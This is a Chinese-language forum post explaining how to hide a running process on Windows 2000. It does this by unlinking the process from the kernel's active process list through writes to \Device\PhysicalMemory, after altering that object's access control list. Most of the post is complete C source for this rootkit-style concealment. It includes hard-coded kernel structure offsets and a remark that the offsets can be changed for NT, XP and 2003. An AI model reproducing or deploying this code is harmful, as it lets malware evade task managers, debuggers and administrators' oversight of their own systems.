榮譽會員
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Win2000下工作隱藏的一種方案
這裡寫一個2000下的完全隱藏方法,很簡單,也沒什麼新意。
在講解之前,首先提一提一些結構,工作執行體塊中有數個工作相關鏈,其中之一是活動工作鏈。此鏈的重要
作用之一就是在查詢系統資訊時供遍歷當前活動工作,很有意思的是M$可能因效率因素使它被排除出工作核心塊,
意味進線程切換等操作時並不利用它,進一步說改寫它也不該有不可忽視的問題(此即本方案的基礎)。
怎麼做很明顯了,在活動工作雙向鏈中刪除想要得隱藏的工作既可,核心偵錯器(如softice/proc)亦查不出來。
2000下的隱藏當前工作的程式碼如下:
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}
RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
return TRUE;
}
VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}
if( !NT_SUCCESS( status ))
{
return NULL;
}
g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}
return g_hMPM;
}
PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;
return (PVOID)PAddr;
}
ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}
BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}
BOOL HideProcessAtAll()
{
if (InitNTDLL())
{
if (OpenPhysicalMemory()==0)
{
return FALSE;
}
ULONG thread=GetData((PVOID)0xFFDFF124);
ULONG process=GetData(PVOID(thread+0x22c));
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
SetData(PVOID(fw+4),bw);
SetData(PVOID(bw),fw);
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
}
return TRUE;
}
使用HideProcessAtAll即隱藏當前工作,如若一執行就隱藏,會修改到工作活動鏈表頭,執行一段時間後可能出現些小問題,怎麼解決,留作「課後習題」了^_^
注意預設物理位址0x30000為一頁目錄,在大多數情況時這樣,但是是有例外的!怎麼解決亦留作「...」吧,不多廢話了。
稍微改一下偏移可移植於NT/XP/2003。
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